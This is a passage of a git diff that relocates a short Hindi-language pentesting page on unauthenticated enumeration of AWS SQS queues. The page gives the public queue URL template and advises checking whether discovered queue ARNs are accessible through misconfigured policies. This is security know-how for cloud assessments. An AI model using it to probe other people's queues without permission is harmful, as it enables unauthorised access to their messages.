-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### सार्वजनिक URL टेम्पलेट
-```
-https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
-```
-### अनुमतियों की जांच करें
-
-यह संभव है कि SQS कतार नीति को गलत तरीके से कॉन्फ़िगर किया जाए और AWS में सभी को संदेश भेजने और प्राप्त करने की अनुमति दी जाए, इसलिए यदि आपको कतारों का ARN मिलता है, तो कोशिश करें कि क्या आप उन्हें एक्सेस कर सकते हैं।
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md
new file mode 100644
index 000000000..67bdd861d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md
@@ -0,0 +1,21 @@
+# AWS - SQS Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+SQS के बारे में अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### सार्वजनिक URL टेम्पलेट
+```
+https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
+```
+### अनुमतियाँ जाँचें
+
+यह संभव है कि किसी SQS queue policy को गलत कॉन्फ़िगर किया जाए और AWS में सभी को संदेश भेजने और प्राप्त करने की अनुमतियाँ दे दी जाएँ, इसलिए अगर आपको queues के ARN मिलते हैं तो जाँचें कि क्या आप उन तक पहुँच सकते हैं।
+
+{{#include ../../../../banners/hacktricks-training.md}}